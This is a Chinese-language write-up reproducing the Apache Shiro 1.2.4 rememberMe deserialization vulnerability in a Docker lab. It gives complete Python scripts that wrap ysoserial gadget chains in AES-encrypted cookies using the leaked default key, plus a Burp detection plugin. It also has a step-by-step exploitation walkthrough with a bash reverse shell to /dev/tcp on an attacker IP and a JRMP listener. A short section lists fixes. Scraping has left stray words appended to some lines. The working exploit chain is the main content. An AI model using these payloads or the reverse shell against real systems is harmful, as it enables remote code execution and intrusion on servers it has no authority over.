Apache Shiro 1.2.4 反序列化漏洞復現

0x00 簡介

Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、受權、密碼和會話管理。html

0x01 漏洞概述

參考-1
參考-2java

0x02 影響版本

只要 rememberMe 的 AES 加密密鑰泄露,不管 shiro 是什麼版本都會致使反序列化漏洞python

0x03 環境搭建

#  獲取 shrio 鏡像
sudo docker pull medicean/vulapps:s_shiro_1
#  重啓 docker
sudo systemctl restart docker
#  啓動 shiro 環境
sudo docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
#  查看環境
sudo docker ps
#  進入環境目錄(目錄名爲啓動 shrio 環境時返回的名字(或用查看環境的命令查看))
sudo docker exec -it 268f542b6482 bash

如提示: No module named 'Crypto'git

則需安裝第三方庫: pycryptodomegithub

pip3 install pycryptodome

0x04 工具

ShiroExploit
Shiro_rce.py
ysoserial.jardocker

shiro_rce

shiro_rce 使用方法(會大量發包):shell

python3 shiro_rce.py http://192.168.1.233:8081/login.jsp "ping -c 127.0.0.1"

s

s.py 內容爲:express

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())

s.py 使用方法:swift

python2 s.py 192.168.1.203:1099

shiro

shiron.py 內容爲:安全

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    #key =  "Z3VucwAAAAAAAAAAAAAAAA=="
    #key = "wGiHplamyXlVB11UXWol8g=="
	
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("payload.cookie", "w") as fpw:
        print("rememberMe={0}".format(payload.decode()),file=fpw)

shiro.py 使用方法(回顯):

python3 shiro.py "http://test.test"

shiro_command

shiro_command.py 內容爲:

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("payload.cookies", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

shiro_command.py 使用方法(命令執行,payload 在 payload.cookies 文件內):

python3 shiro_command.py "ping -c 127.0.0.1"
Burp 插件

Jythpn(用於將 Python 代碼轉換成 JAVA 代碼)

Shiro Discovery 內容爲:

# /usr/bin/env python
# _*_ coding:utf-8 _*_
__author__ = 'tkswifty'

from burp import IBurpExtender
from burp import IHttpListener
from burp import IHttpRequestResponse
from burp import IResponseInfo
from burp import IRequestInfo
from burp import IHttpService
import sys
import time
import os
import re
import random


class BurpExtender(IBurpExtender, IHttpListener):

    def __init__(self):
        self.payload = ['rememberMe','rmemberMe-tk']
        

    def registerExtenderCallbacks(self, callbacks):
        print("[+] #####################################")
        print("[+]     Shiro Discovery")
        print("[+]     Author: tkswifty")
        print("[+] #####################################\r\n\r\n")
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName('Shiro Discovery')
        callbacks.registerHttpListener(self)

    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if toolFlag == self._callbacks.TOOL_PROXY or toolFlag == self._callbacks.TOOL_REPEATER:
            # 監聽Response
            if not messageIsRequest:

                '''請求數據'''
                # 獲取請求包的數據
                resquest = messageInfo.getRequest()
                analyzedRequest = self._helpers.analyzeRequest(resquest)
                request_header = analyzedRequest.getHeaders()
                request_bodys = resquest[analyzedRequest.getBodyOffset():].tostring()
                request_host, request_Path = self.get_request_host(request_header)
                request_contentType = analyzedRequest.getContentType()
                if  len(filter(lambda x: 'Cookie' in x, request_header))>0:
                	pass
                else:
                	request_header.append("Cookie:")


                # 獲取服務端的信息,主機地址,端口,協議
                httpService = messageInfo.getHttpService()
                port = httpService.getPort()
                host = httpService.getHost()
                protocol = httpService.getProtocol()

                #修改cookie檢測shiro
                self.sendPayload(request_header, host, port, protocol, request_bodys,messageInfo)


    # 發起請求並進行Shiro檢測
    def sendPayload(self, request_header, host, port, protocol, request_bodys,messageInfo):
    		for shiroHeader in self.payload:
    			for i in xrange(0,len(request_header)):
    				if request_header[i].startswith("Cookie:"):
    					request_header[i] = request_header[i]+";"+shiroHeader+"=shiroDiscover"
    					newRequest = self._helpers.buildHttpMessage(request_header,self._helpers.stringToBytes(request_bodys))
                        if 's' in protocol:
                            ishttps = True
                        else:
                            ishttps = False
                        expression = r'.*(443).*'
                        if re.match(expression, str(port)):
                           	ishttps = True
                        rep = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest)

                        #新的請求響應包
                        analyzedResponse = self._helpers.analyzeResponse(rep)
                        rep_headers = analyzedResponse.getHeaders()
                        expression = r'.*(deleteMe).*'
                        for rpheader in rep_headers:
                            if rpheader.startswith("Set-Cookie:") and re.match(expression, rpheader):
                                response_is_shiro = True
                                messageInfo.setHighlight('orange')
                                print "[+] Find Shiro application"
                                print "\t[-] host:" + str(host)
                                print "\t[-] port:" + str(port)


    # 獲取請求的url
    def get_request_host(self, reqHeaders):
        uri = reqHeaders[0].split(' ')[1]
        host = reqHeaders[1].split(' ')[1]
        return host, uri

    # 獲取請求的一些信息:請求頭,請求內容,請求方法,請求參數
    def get_request_info(self, request):
        analyzedIRequestInfo = self._helpers.analyzeRequest(request)
        reqHeaders = analyzedIRequestInfo.getHeaders()
        reqBodys = request[analyzedIRequestInfo.getBodyOffset():].tostring()
        reqMethod = analyzedIRequestInfo.getMethod()
        reqParameters = analyzedIRequestInfo.getParameters()
        reqHost, reqPath = self.get_request_host(reqHeaders)
        reqContentType = analyzedIRequestInfo.getContentType()
        print(reqHost, reqPath)
        return analyzedIRequestInfo, reqHeaders, reqBodys, reqMethod, reqParameters, reqHost, reqContentType

    # 獲取響應的一些信息:響應頭,響應內容,響應狀態碼
    def get_response_info(self, response):
        analyzedIResponseInfo = self._helpers.analyzeRequest(response)
        resHeaders = analyzedIResponseInfo.getHeaders()
        resBodys = response[analyzedIResponseInfo.getBodyOffset():].tostring()
        # getStatusCode獲取響應中包含的HTTP狀態代碼。返回:響應中包含的HTTP狀態代碼。
        # resStatusCode = analyzedIResponseInfo.getStatusCode()
        return resHeaders, resBodys

    # 獲取請求的參數名、參數值、參數類型(get、post、cookie->用來構造參數時使用)
    def get_parameter_Name_Value_Type(self, parameter):
        parameterName = parameter.getName()
        parameterValue = parameter.getValue()
        parameterType = parameter.getType()
        return parameterName, parameterValue, parameterType

    def doActiveScan(self, baseRequestResponse, insertionPoint):
        pass

    def doPassiveScan(self, baseRequestResponse):
        self.issues = []
        self.start_run(baseRequestResponse)
        return self.issues

    def consolidateDuplicateIssues(self, existingIssue, newIssue):
        '''
        相同的數據包,只報告一份報告
        :param existingIssue:
        :param newIssue:
        :return:
        '''

        if existingIssue.getIssueDetail() == newIssue.getIssueDetail():
            return -1

        return 0

0x05 漏洞利用

在已有的cookie 值後面接 ;rememberMe=1 如返回 rememberMe=deleteMe 則說明可能存在 shiro 漏洞

一、攻擊端監聽 9999 端口

二、構造反彈 shell 命令,並進行 Base64編碼 (如不進行 Base64編碼 可能會出現問題)

/bin/bash -i >& /dev/tcp/192.168.1.203/9999 0>&1

三、攻擊端開啓 JRMP(端口爲:8888)

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections4 "【Base64 編碼後的反彈 shell 命令】"

四、使用 s.py 獲取 Payload(此處端口爲 JRMP 的端口)

python2 s.py 192.168.1.203:8888

五、將獲取到的 Payload 到 Burp 粘貼併發送

六、此時可看到靶機已鏈接 JRMP

監聽的 9999 端口已獲取到反彈的 shell

0x06 漏洞修復

一、升級shiro到1.2.5及以上
二、刪除代碼裏的默認密鑰
三、默認配置裏註釋了默認密鑰
四、若是不配置密鑰,每次會從新隨機一個密鑰

0x07 參考 URL

https://www.cnblogs.com/panisme/p/12552838.html
http://www.javashuo.com/article/p-arohnkmh-dd.html

相關文章
相關標籤/搜索